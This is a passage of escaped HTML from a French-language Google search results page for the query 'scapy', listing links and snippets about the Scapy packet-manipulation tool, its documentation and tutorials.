href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:AsiFNhlH2pkJ:http://www.secdev.org/projects/scapy/%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgXMAA&amp;usg=AFQjCNEsc6oKXOBbiQdnyv1LzA4BeD0E5g\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgYMAA\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\"><b>Scapy</b> is a powerful interactive packet manipulation program. It is able to forge or <br>\\n\",\n        \"decode packets of a wide number of protocols, send them on the wire, capture&nbsp;...</span><br><div class=\\\"osl\\\"><a href=\\\"/url?q=http://www.secdev.org/projects/scapy/doc/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGigAMAA&amp;usg=AFQjCNEIwIcroh5YAfGR-I7GYFdLicNWEA\\\">Scapy's documentation!</a> - <a href=\\\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIGygBMAA&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\\\">Usage</a> - <a href=\\\"/url?q=http://www.secdev.org/projects/scapy/demo.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHCgCMAA&amp;usg=AFQjCNHVs60uzwQshH24gRG8SJd6_UG5ww\\\">Quick demo : an interactive</a> - <a href=\\\"/url?q=http://www.secdev.org/projects/scapytain/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIHSgDMAA&amp;usg=AFQjCNEQizwKXdatZ7llosjxF90Qq1GZ0w\\\">Scapytain</a></div></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://www.secdev.org/projects/scapy/doc/usage.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggfMAE&amp;usg=AFQjCNFmd-7Kib8a4LCin1kc0GJ50BIS4A\\\">Usage &#8212; <b>Scapy</b> v2.1.1-dev documentation - SecDev.org</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>www.secdev.org/projects/<b>scapy</b>/doc/usage.html</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IIDAB\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:IkQlsPcbaVUJ:http://www.secdev.org/projects/scapy/doc/usage.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgiMAE&amp;usg=AFQjCNFm83gItGADS_RWIfcNKm10GZzLbQ\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:www.secdev.org/projects/scapy/doc/usage.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgjMAE\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\"><b>Scapy&#39;s</b> interactive shell is run in a terminal session. Root privileges are needed <br>\\n\",\n        \"to send the packets, so we&#39;re using sudo here: $ sudo <b>scapy</b> Welcome to <b>Scapy</b>&nbsp;...</span><br></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgglMAI&amp;usg=AFQjCNFkskYeH2yXFnaeEQNJg5U9OW6vcQ\\\">Manipulez les paquets rseau avec <b>Scapy</b> - OpenClassrooms</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>https://openclassrooms.com/.../manipulez-les-paquets-reseau-avec-<b>scapy</b></cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IJjAC\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:S5DdkssTWs4J:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgoMAI&amp;usg=AFQjCNGLpLwzu508SzQHsP-Uf4wqZah87A\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:https://openclassrooms.com/courses/manipulez-les-paquets-reseau-avec-scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgpMAI\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">20 nov. 2013 <b>...</b> <b>Scapy</b> est un module pour Python permettant de forger, envoyer, rceptionner et <br>\\n\",\n        \"manipuler des paquets rseau. Si le rseau vous intresse et&nbsp;...</span><br></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=https://fr.wikipedia.org/wiki/Scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggsMAM&amp;usg=AFQjCNGTIivLQi0XfgwYnADPhMZKZ5S1cA\\\"><b>Scapy</b> &#8212; Wikipdia</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>https://fr.wikipedia.org/wiki/<b>Scapy</b></cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ILTAD\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MsdDsl0QNWcJ:https://fr.wikipedia.org/wiki/Scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAgvMAM&amp;usg=AFQjCNFCwGW84n_OO6XIlEpMhfrvke6c-A\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:https://fr.wikipedia.org/wiki/Scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwgwMAM\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\"><b>Scapy</b> est un logiciel libre de manipulation de paquets rseau crit en python. Il <br>\\n\",\n        \"est capable, entre autres, d&#39;intercepter le trafic sur un segment rseau,&nbsp;...</span><br><div class=\\\"osl\\\"><a href=\\\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Avantages_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMigAMAM&amp;usg=AFQjCNHuBGOX0rv-ULqfquUn6FFIQJrj5g\\\">Avantages de scapy</a> - <a href=\\\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Exemple_d.27utilisation_de_scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIIMygBMAM&amp;usg=AFQjCNFRbPAXgHtzI2eifsA1SLsqNAh6AQ\\\">Exemple d'utilisation de scapy</a> - <a href=\\\"/url?q=https://fr.wikipedia.org/wiki/Scapy%23Notes_et_r.C3.A9f.C3.A9rences&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ0gIINCgCMAM&amp;usg=AFQjCNGgp4vZufO23i8NlSEK_R2GflOzTg\\\">Notes et rfrences</a></div></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://www.lestutosdenico.com/tutos-de-nico/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg2MAQ&amp;usg=AFQjCNGJgAUj5uKjpIlgONJAh773FzsVhQ\\\"><b>Scapy</b> | Les Tutos de Nico</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>www.lestutosdenico.com/tutos-de-nico/<b>scapy</b></cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0INzAE\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:n5JD9BgFDtkJ:http://www.lestutosdenico.com/tutos-de-nico/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAg5MAQ&amp;usg=AFQjCNEoq44xVCpsMHTwrp1z672VVGWKhQ\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:www.lestutosdenico.com/tutos-de-nico/scapy+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwg6MAQ\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">26 avr. 2010 <b>...</b> <b>Scapy</b> est un outil Open Source crit par Philippe Biondi. Cet utilitaire permet de <br>\\n\",\n        \"manipuler, forger, dcoder, mettre, recevoir les paquets&nbsp;...</span><br></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=https://github.com/secdev/scapy&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFgg9MAU&amp;usg=AFQjCNFx6X4HyjoLtnHCYRzeN9IHyxPGjw\\\">GitHub - secdev/<b>scapy</b>: <b>Scapy</b>: the python-based interactive packet ...</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>https://github.com/secdev/<b>scapy</b></cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IPjAF\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:t5CFO8vxr4IJ:https://github.com/secdev/scapy%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhAMAU&amp;usg=AFQjCNFTiv8yTtMV3mQuth-8uadrLURtOQ\\\">En cache</a></li></ul></div></div></div><span class=\\\"st\\\"><b>scapy</b> - <b>Scapy</b>: the python-based interactive packet manipulation program &amp; <br>\\n\",\n        \"library.</span><br></div></div><div class=\\\"g\\\"><span style=\\\"float:left\\\"><span class=\\\"mime\\\">[PDF]</span>&nbsp;</span><h3 class=\\\"r\\\"><a href=\\\"/url?q=https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghCMAY&amp;usg=AFQjCNGvyyIgBp3Yf9bDRHx4ytFleXOi5w\\\">Les Fourberies de <b>Scapy</b> - Zenk - Security - Repository</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>https://repo.zenk-security.com/.../Les%20Fourberies%20de%20<b>Scapy</b>.pdf</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IQzAG\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:1s5MetOx54YJ:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%252520Fourberies%252520de%252520Scapy.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhFMAY&amp;usg=AFQjCNHM9Qr918qAuwPiolGK1lPkSyKJyg\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:https://repo.zenk-security.com/Protocoles_reseaux_securisation/Les%2520Fourberies%2520de%2520Scapy.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhGMAY\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">Python &amp; <b>Scapy</b> : cration de module ou de programme . . . . . . . . . . . . . . . . . . 12. <br>\\n\",\n        \"3.1. Python &amp; <b>Scapy</b> .... 16 change de paquet de Wireshark vers <b>Scapy</b> .</span><br></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghIMAc&amp;usg=AFQjCNE3evvKKx60Iee3ZBiIOTjDlDzKxw\\\">Tutorial <b>Scapy</b>, introduction - Le blog de Thierry</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>www.chambeyron.fr/index.php/systeme.../<b>scapy</b>/8-<b>scapy</b>-les-bases</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0ISTAH\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:MgSbFi6VkXEJ:http://www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhLMAc&amp;usg=AFQjCNG4PtbkImAAhScSjauv2Yz6WYyh4g\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:www.chambeyron.fr/index.php/systeme-reseaux/scapy/8-scapy-les-bases+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhMMAc\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">19 sept. 2014 <b>...</b> Pour connaitre la liste des commandes <b>scapy</b> &gt;&gt;&gt; lsc() arpcachepoison : Poison <br>\\n\",\n        \"target&#39;s cache with (your MAC,victim&#39;s IP) couple arping : Send&nbsp;...</span><br></div></div><div class=\\\"g\\\"><span style=\\\"float:left\\\"><span class=\\\"mime\\\">[PDF]</span>&nbsp;</span><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghPMAg&amp;usg=AFQjCNFqXSQxPzYTmmJJLOXP7WO4d2tVHQ\\\"><b>Scapy</b> en pratique - Repository Root Me</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>repository.root-me.org/.../FR%20-%20<b>Scapy</b>%20en%20pratique.pdf</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IUDAI\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:wLJc7aETkU0J:http://repository.root-me.org/R%2525C3%2525A9seau/FR%252520-%252520Scapy%252520en%252520pratique.pdf%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhSMAg&amp;usg=AFQjCNHKUYiTHTN6P3CoJBK8Cwy22rSsPg\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:repository.root-me.org/R%25C3%25A9seau/FR%2520-%2520Scapy%2520en%2520pratique.pdf+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhTMAg\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">17 mai 2008 <b>...</b> <b>Scapy</b> en pratique. PyCON FR &#8211; 17 Mai 2008 - Renaud Lifchitz. 3. Qu&#39;est-ce <br>\\n\",\n        \"que <b>Scapy</b> ? Prsentation gnrale. &#9675;. Interprteur Python&nbsp;...</span><br></div></div><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://blog.madpowah.org/articles/scapy/index.html&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFghWMAk&amp;usg=AFQjCNGKKokeKOYEfr8s0KWmv3qNlOYEww\\\">[How To]Utilisation de <b>Scapy</b> | cloud&#39;s Blog</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>blog.madpowah.org/articles/<b>scapy</b>/index.html</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IVzAJ\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/url?q=http://webcache.googleusercontent.com/search%3Fq%3Dcache:CAMle-GMFucJ:http://blog.madpowah.org/articles/scapy/index.html%252Bscapy%26hl%3Dfr%26ct%3Dclnk&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQIAhZMAk&amp;usg=AFQjCNGndKUe71tN35JPcUMSrK6-y8_5QQ\\\">En cache</a></li><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" href=\\\"/search?ie=UTF-8&amp;q=related:blog.madpowah.org/articles/scapy/index.html+scapy&amp;tbo=1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQHwhaMAk\\\">Pages similaires</a></li></ul></div></div></div><span class=\\\"st\\\">18 sept. 2008 <b>...</b> <b>Scapy</b> est un logiciel dvelopp en python qui permet de forger des paquets, de <br>\\n\",\n        \"sniffer et de faire bien d&#39;autres actions bien utiles pour faire du&nbsp;...</span><br></div></div></ol></div></div></div><div style=\\\"clear:both;margin-bottom:17px;overflow:hidden\\\"><div style=\\\"font-size:16px;padding:0 8px 1px\\\">Recherches associes \\\"<b>scapy</b>\\\"</div><table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\"><tr><td valign=\\\"top\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+windows&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXigA\\\">scapy <b>windows</b></a></p></td><td valign=\\\"top\\\" style=\\\"padding-left:10px\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+github&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIXygB\\\">scapy <b>github</b></a></p></td></tr><tr><td valign=\\\"top\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+tutorial&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYCgC\\\">scapy <b>tutorial</b></a></p></td><td valign=\\\"top\\\" style=\\\"padding-left:10px\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+python+3&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYSgD\\\">scapy <b>python 3</b></a></p></td></tr><tr><td valign=\\\"top\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+sniff&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYigE\\\">scapy <b>sniff</b></a></p></td><td valign=\\\"top\\\" style=\\\"padding-left:10px\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+pcap&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIYygF\\\">scapy <b>pcap</b></a></p></td></tr><tr><td valign=\\\"top\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+documentation&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZCgG\\\">scapy <b>documentation</b></a></p></td><td valign=\\\"top\\\" style=\\\"padding-left:10px\\\"><p class=\\\"_Bmc\\\" style=\\\"margin:3px 8px\\\"><a href=\\\"/search?ie=UTF-8&amp;q=scapy+pdf&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ1QIIZSgH\\\">scapy <b>pdf</b></a></p></td></tr></table></div></div><div id=\\\"foot\\\"><table align=\\\"center\\\" border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" id=\\\"nav\\\"><tr valign=\\\"top\\\"><td align=\\\"left\\\" class=\\\"b\\\"><span class=\\\"csb\\\" style=\\\"background-position:-24px 0;width:28px\\\"></span><b></b></td><td><span class=\\\"csb\\\" style=\\\"background-position:-53px 0;width:20px\\\"></span><b>1</b></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>2</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=20&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>3</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=30&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>4</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=40&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>5</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=50&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>6</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=60&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>7</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=70&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>8</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=80&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>9</a></td><td><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=90&amp;sa=N\\\"><span class=\\\"csb\\\" style=\\\"background-position:-74px 0;width:20px\\\"></span>10</a></td><td class=\\\"b\\\" style=\\\"text-align:left\\\"><a class=\\\"fl\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;ei=kzFQWN-hEcKya4KMgVA&amp;start=10&amp;sa=N\\\" style=\\\"text-align:left\\\"><span class=\\\"csb\\\" style=\\\"background-position:-96px 0;width:71px\\\"></span><span style=\\\"display:block;margin-left:53px\\\">Suivant</span></a></td></tr></table><p class=\\\"_cD\\\" id=\\\"bfl\\\" style=\\\"margin:19px 0 0;text-align:center\\\"><a href=\\\"/advanced_search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns\\\">Recherche avance</a><a href=\\\"/support/websearch/bin/answer.py?answer=134479&amp;hl=fr\\\">Aide sur la recherche</a> <a href=\\\"/tools/feedback/survey/html?productId=196&amp;query=scapy&amp;hl=fr\\\">Envoyer des commentaires</a></p><div class=\\\"_cD\\\" id=\\\"fll\\\" style=\\\"margin:19px auto 19px auto;text-align:center\\\"><a href=\\\"/\\\">Accueil&nbsp;Google</a> <a href=\\\"/intl/fr/ads\\\">Publicit</a> <a href=\\\"/intl/fr/policies/privacy/\\\">Confidentialit</a> <a href=\\\"/intl/fr/policies/terms/\\\">Conditions</a> <a href=\\\"/intl/fr/about.html\\\"> propos de Google</a></div></div></td><td id=\\\"rhs_block\\\" valign=\\\"top\\\"></td></tr></tbody></table><script type=\\\"text/javascript\\\">(function(){var eventid='kzFQWN-hEcKya4KMgVA';google.kEI = eventid;})();</script><script 